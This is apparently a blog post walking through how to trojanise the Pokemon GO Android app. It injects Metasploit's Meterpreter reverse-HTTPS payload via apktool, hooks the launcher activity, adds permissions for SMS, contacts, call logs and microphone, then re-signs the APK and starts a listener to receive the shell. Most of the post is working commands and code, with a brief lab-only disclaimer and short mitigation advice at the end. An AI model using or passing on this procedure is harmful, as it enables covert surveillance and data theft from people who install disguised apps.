It goes without saying that Pokemon GO is a craze of magnitude that we haven’t seen for a long time, and undoubtedly one that will be around for quite some time. If memory serves me correctly, not even Angry Birds grew in popularity this rapidly – and it didn’t have the same positive effects (e.g. getting gamers outside and socialising with others).

“prepare for trouble, and make it double”

Whilst most observers may see the primary negative effect as the game being yet another contributor to mobile phone addiction – diluting what are likely already diluted “real world” skills – those of us with a more nefarious view of the world will see this as a prime opportunity to pop some shells. Just as the Rio Olympics have spurred a wave of phishing and malware attacks, it comes as no surprise that Pokemon GO has too. So, this made me think… exactly how covert can you make Android malware?

Like many large-scale applications nowadays, Pokemon GO has a pretty broad range of permission requirements, which includes:

  • Accounts.
  • Billing.
  • Bluetooth (admin access).
  • Internet.
  • Location (fine access).
  • Contact, media and external storage access.
  • Wifi (read and change state).

So, if we were to slip a few extra permissions in, would it be fair to expect that the user would notice? It’s unlikely. How might we go about exploiting the ignorance users have toward this excessive list of permissions? Metasploit’s Meterpreter payload fits the bill perfectly given that it now sports native Android support. Whilst the payload – by default – is a bare APK that does nothing in particular (that would risk alerting the user to something being wrong), the smali code from the unpacked APK can be loaded into a legitimate application that serves as a facade for the payload.


the lab

The information outlined in this post is – of course – for educational purposes only. Don’t be a twat and use it to attack the general public.

Attacker: Kali with APKTool.
Victim: Nexus 5 AVD (requires Android SDK command line tools with platform tools and Android 6.0 ARM image installed).



Begin by downloading the source APK from somewhere trustworthy like APKMirror. The method can be applied to any APK so long as it is compiled for the correct CPU architecture and is compatible with the target Android version. Move the APK into the directory ‘/root/APK’.First generate the Meterpreter payload :

mkdir /root/apk
cd /root/apk
msfvenom -p android/meterpreter/reverse_https LHOST= LPORT=443 -o meterpreter.apk

This produces a payloaded APK in the current directory, which can then be unpacked into the sub-directory ‘payload’. An APK is essentially an archive, however it’s contents are encoded. APKTool extracts the contents, decodes them and allows you to modify them prior to repacking them:

apktool d -f -o payload meterpreter.apk

Following this, the original APK can be unpacked into the sub-directory ‘original’:

apktool d -f -o original

The smali code of concern resides in /root/APK/payload/smali/com/metasploit/stage and is prefixed with Payload. This can be copied into a path under the unpacked ‘original’ APK directory structure which retains the same class reference:

mkdir -p original/smali/metasploit/stage
cp payload/smali/com/metasploit/stage/Payload*.smali original/smali/metasploit/stage

However, simply copying this code here is insufficient. It must be triggered upon startup of the application, This is achieved by injecting a hook into the original smali code, but to do this it must first be determined what activity is called upon startup.

Open the root AndroidManifest.xml XML file and look for the entries:

<action android:name=”android.intent.action.MAIN”/>
<category android:name=”android.intent.category.LAUNCHER”/>

Preceding this will be a definition of the activity. In the case of the following application, it is “com.unity3d.player.UnityPlayerNativeActivity”:

When APKTool unpacks the APK all of the smali code resides under the ‘smali’ directory structure, in folders that reflect the class names. So, “com.unity3d.player.UnityPlayerNativeActivity” sits in “/root/APK/original/smali/com/unity3d/player” as “UnityPlayerNativeActivity.smali”. Open this file in your favorite text editor and search for:


On the line following this, enter:

 invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

The final piece of modification is to inject the permissions and features that are missing from the original AndroidManifest.xml and are required by the payload AndroidManifest.xml. Permissions are defined as “uses-permission” and features as “uses-feature”. An example might be:

<uses-permission android:name=”android.permission.ACCESS_WIFI_STATE”/>
<uses-permission android:name=”android.permission.CHANGE_WIFI_STATE”/>
<uses-permission android:name=”android.permission.ACCESS_COURSE_LOCATION”/>
<uses-permission android:name=”android.permission.READ_PHONE_STATE”/>
<uses-permission android:name=”android.permission.SEND_SMS”/>
<uses-permission android:name=”android.permission.RECEIVE_SMS”/>
<uses-permission android:name=”android.permission.RECORD_AUDIO”/>
<uses-permission android:name=”android.permission.CALL_PHONE”/>
<uses-permission android:name=”android.permission.READ_CONTACTS”/>
<uses-permission android:name=”android.permission.WRITE_CONTACTS”/>
<uses-permission android:name=”android.permission.RECORD_AUDIO”/>
<uses-permission android:name=”android.permission.WRITE_SETTINGS”/>
<uses-permission android:name=”android.permission.READ_SMS”/>
<uses-permission android:name=”android.permission.RECEIVE_BOOT_COMPLETED”/>
<uses-permission android:name=”android.permission.SET_WALLPAPER”/>
<uses-permission android:name=”android.permission.READ_CALL_LOG”/>
<uses-permission android:name=”android.permission.WRITE_CALL_LOG”/>
<uses-feature android:name=”android.hardware.microphone”/>

Once completed, save the file.

Finally, the APK can be recompiled and signed:

apktool b original
mkdir keystore
keytool -genkey -v -keystore keystore/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname “CN=Android Debug,O=Android,C=US”
jarsigner -verbose -keystore keystore/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA original/dist/pokemon-go.apk androiddebugkey

If you have an existing signing key, you can use that in place of the generated ‘debug.keystore’.


the attack

The first part of the fight is starting a reverse handler in msfconsole:

use multi/handler
set payload android/meterpreter/reverse_https
set lhost
set lport 443
set exitonsession false
exploit -j

Should we not be in a lab environment then the APK would be submitted to the Google Play store, alas that’s not the case. The AVD is fired up and the APK pushed to it with adb:

As of Android 6.0, an application asks for permissions when first started:

Once they’re all permitted, and the app is started the reverse connection will be sent back to the handler and a shell opened:

The Android Meterpreter shell offers most of what a standard Windows or Linux shell does, with the addition of some mobile specific functions like dumping contacts lists, SMS messages, sqlite DB’s and interacting with the GPS, microphone and cameras:

mitigation and conclusions

The unpacking of APK’s cannot be prevented. You can obfuscate the application code, however this is effectively security by obscurity and does not prevent reverse engineering of it or the injection of new code and/or permissions – like done above.

For end-users, this should serve as a reminder to be supremely confident that the application being downloaded from the Google Play store is the official application and not a fake. Furthermore (and I’ve caught staff at my workplace doing this), sideloading ‘cracked’ or otherwise ‘modified’ APK’s onto your device from untrusted sources is surely asking for trouble. Every single modified version of Pokemon GO that I’ve come across has had at least some malicious code injected into it… if not a whole load of it. The old phrase of “if it’s too good to be true it probably is” springs to mind.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s